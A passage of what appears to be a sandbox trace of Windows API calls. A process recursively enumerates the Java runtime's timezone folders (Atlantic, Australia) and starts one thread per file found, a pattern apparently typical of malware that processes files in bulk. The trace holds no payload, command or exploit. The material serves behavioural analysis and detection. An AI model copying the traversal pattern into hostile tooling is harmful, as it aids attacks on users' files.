lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x161c [0173.031] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x929bb8 | out: lpFindFileData=0x929bb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bermuda", cAlternateFileName="")) returned 1 [0173.031] wcscmp (_String1="Bermuda", _String2=".") returned 1 [0173.031] wcscmp (_String1="Bermuda", _String2="..") returned 1 [0173.031] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0980 [0173.031] wcscpy (in: _Dest=0x8d0980, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0173.031] wcscat (in: _Dest=0x8d0980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0173.031] wcscat (in: _Dest=0x8d0980, _Source="Bermuda" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Bermuda") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Bermuda" [0173.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1324 [0173.033] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x929bb8 | out: lpFindFileData=0x929bb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="Canary", cAlternateFileName="")) returned 1 [0173.033] wcscmp (_String1="Canary", _String2=".") returned 1 [0173.033] wcscmp (_String1="Canary", _String2="..") returned 1 [0173.033] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e90e8 [0173.033] wcscpy (in: _Dest=0x8e90e8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0173.033] wcscat (in: _Dest=0x8e90e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0173.033] wcscat (in: _Dest=0x8e90e8, _Source="Canary" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Canary") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Canary" [0173.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e90e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1410 [0173.034] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x929bb8 | out: lpFindFileData=0x929bb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cape_Verde", cAlternateFileName="CAPE_V~1")) returned 1 [0173.034] wcscmp (_String1="Cape_Verde", _String2=".") returned 1 [0173.034] wcscmp (_String1="Cape_Verde", _String2="..") returned 1 [0173.034] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0b00 [0173.034] wcscpy (in: _Dest=0x8d0b00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0173.034] wcscat (in: _Dest=0x8d0b00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0173.034] wcscat (in: _Dest=0x8d0b00, _Source="Cape_Verde" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Cape_Verde") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Cape_Verde" [0173.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f8 [0173.035] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x929bb8 | out: lpFindFileData=0x929bb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faroe", cAlternateFileName="")) returned 1 [0173.035] wcscmp (_String1="Faroe", _String2=".") returned 1 [0173.035] wcscmp (_String1="Faroe", _String2="..") returned 1 [0173.035] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8ad0 [0173.036] wcscpy (in: _Dest=0x8e8ad0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0173.036] wcscat (in: _Dest=0x8e8ad0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0173.036] wcscat (in: _Dest=0x8e8ad0, _Source="Faroe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Faroe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Faroe" [0173.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12fc [0173.037] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x929bb8 | out: lpFindFileData=0x929bb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Madeira", cAlternateFileName="")) returned 1 [0173.037] wcscmp (_String1="Madeira", _String2=".") returned 1 [0173.037] wcscmp (_String1="Madeira", _String2="..") returned 1 [0173.037] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0400 [0173.037] wcscpy (in: _Dest=0x8d0400, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0173.037] wcscat (in: _Dest=0x8d0400, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0173.037] wcscat (in: _Dest=0x8d0400, _Source="Madeira" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Madeira") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Madeira" [0173.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1300 [0173.038] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x929bb8 | out: lpFindFileData=0x929bb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reykjavik", cAlternateFileName="REYKJA~1")) returned 1 [0173.038] wcscmp (_String1="Reykjavik", _String2=".") returned 1 [0173.038] wcscmp (_String1="Reykjavik", _String2="..") returned 1 [0173.038] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d1080 [0173.038] wcscpy (in: _Dest=0x8d1080, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0173.038] wcscat (in: _Dest=0x8d1080, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0173.038] wcscat (in: _Dest=0x8d1080, _Source="Reykjavik" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Reykjavik") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Reykjavik" [0173.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d1080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1304 [0173.039] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x929bb8 | out: lpFindFileData=0x929bb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="South_Georgia", cAlternateFileName="SOUTH_~1")) returned 1 [0173.039] wcscmp (_String1="South_Georgia", _String2=".") returned 1 [0173.039] wcscmp (_String1="South_Georgia", _String2="..") returned 1 [0173.039] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0xd4b7868 [0173.039] wcscpy (in: _Dest=0xd4b7868, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0173.039] wcscat (in: _Dest=0xd4b7868, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0173.039] wcscat (in: _Dest=0xd4b7868, _Source="South_Georgia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\South_Georgia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\South_Georgia" [0173.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1308 [0173.040] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x929bb8 | out: lpFindFileData=0x929bb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stanley", cAlternateFileName="")) returned 1 [0173.040] wcscmp (_String1="Stanley", _String2=".") returned 1 [0173.040] wcscmp (_String1="Stanley", _String2="..") returned 1 [0173.040] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0900 [0173.040] wcscpy (in: _Dest=0x8d0900, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0173.040] wcscat (in: _Dest=0x8d0900, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0173.040] wcscat (in: _Dest=0x8d0900, _Source="Stanley" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Stanley") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Stanley" [0173.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0 [0173.041] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x929bb8 | out: lpFindFileData=0x929bb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Helena", cAlternateFileName="ST_HEL~1")) returned 1 [0173.041] wcscmp (_String1="St_Helena", _String2=".") returned 1 [0173.042] wcscmp (_String1="St_Helena", _String2="..") returned 1 [0173.042] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8cfe80 [0173.042] wcscpy (in: _Dest=0x8cfe80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0173.042] wcscat (in: _Dest=0x8cfe80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0173.042] wcscat (in: _Dest=0x8cfe80, _Source="St_Helena" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\St_Helena") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\St_Helena" [0173.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfe80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14ac [0173.043] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x929bb8 | out: lpFindFileData=0x929bb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Helena", cAlternateFileName="ST_HEL~1")) returned 0 [0173.043] FindClose (in: hFindFile=0x93b538 | out: hFindFile=0x93b538) returned 1 [0173.044] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x929bb8) returned 1 [0173.044] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0e28) returned 1 [0173.044] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1058) returned 1 Thread: id = 5290 os_tid = 0xee4 [0164.241] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f0e98 [0164.241] wcscpy (in: _Dest=0x8f0e98, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0164.241] wcscat (in: _Dest=0x8f0e98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0164.241] wcscat (in: _Dest=0x8f0e98, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\*" [0164.241] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92ce40 [0164.242] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\*", lpFindFileData=0x92ce40 | out: lpFindFileData=0x92ce40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93aff8 [0170.586] wcscmp (_String1=".", _String2=".") returned 0 [0170.586] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x92ce40 | out: lpFindFileData=0x92ce40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.586] wcscmp (_String1="..", _String2=".") returned 1 [0170.586] wcscmp (_String1="..", _String2="..") returned 0 [0170.586] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x92ce40 | out: lpFindFileData=0x92ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adelaide", cAlternateFileName="")) returned 1 [0170.586] wcscmp (_String1="Adelaide", _String2=".") returned 1 [0170.586] wcscmp (_String1="Adelaide", _String2="..") returned 1 [0170.586] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0e00 [0170.586] wcscpy (in: _Dest=0x8d0e00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0170.586] wcscat (in: _Dest=0x8d0e00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0170.586] wcscat (in: _Dest=0x8d0e00, _Source="Adelaide" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Adelaide") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Adelaide" [0174.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12ec [0174.951] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x92ce40 | out: lpFindFileData=0x92ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Brisbane", cAlternateFileName="")) returned 1 [0174.951] wcscmp (_String1="Brisbane", _String2=".") returned 1 [0174.952] wcscmp (_String1="Brisbane", _String2="..") returned 1 [0174.952] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0100 [0174.952] wcscpy (in: _Dest=0x8d0100, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0174.952] wcscat (in: _Dest=0x8d0100, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0174.952] wcscat (in: _Dest=0x8d0100, _Source="Brisbane" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Brisbane") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Brisbane" [0174.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15a0 [0174.953] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x92ce40 | out: lpFindFileData=0x92ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Broken_Hill", cAlternateFileName="BROKEN~1")) returned 1 [0174.953] wcscmp (_String1="Broken_Hill", _String2=".") returned 1 [0174.953] wcscmp (_String1="Broken_Hill", _String2="..") returned 1 [0174.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0xd4b7ca8 [0174.953] wcscpy (in: _Dest=0xd4b7ca8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0174.953] wcscat (in: _Dest=0xd4b7ca8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0174.953] wcscat (in: _Dest=0xd4b7ca8, _Source="Broken_Hill" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Broken_Hill") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Broken_Hill" [0174.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7ca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1598 [0174.955] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x92ce40 | out: lpFindFileData=0x92ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Currie", cAlternateFileName="")) returned 1 [0174.955] wcscmp (_String1="Currie", _String2=".") returned 1 [0174.955] wcscmp (_String1="Currie", _String2="..") returned 1 [0174.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0500 [0174.955] wcscpy (in: _Dest=0x8d0500, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0174.955] wcscat (in: _Dest=0x8d0500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0174.955] wcscat (in: _Dest=0x8d0500, _Source="Currie" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Currie") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Currie" [0174.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1594 [0174.956] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x92ce40 | out: lpFindFileData=0x92ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Darwin", cAlternateFileName="")) returned 1 [0174.956] wcscmp (_String1="Darwin", _String2=".") returned 1 [0174.956] wcscmp (_String1="Darwin", _String2="..") returned 1 [0174.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0180 [0174.956] wcscpy (in: _Dest=0x8d0180, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0174.956] wcscat (in: _Dest=0x8d0180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0174.956] wcscat (in: _Dest=0x8d0180, _Source="Darwin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Darwin") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Darwin" [0174.956] CreateThread 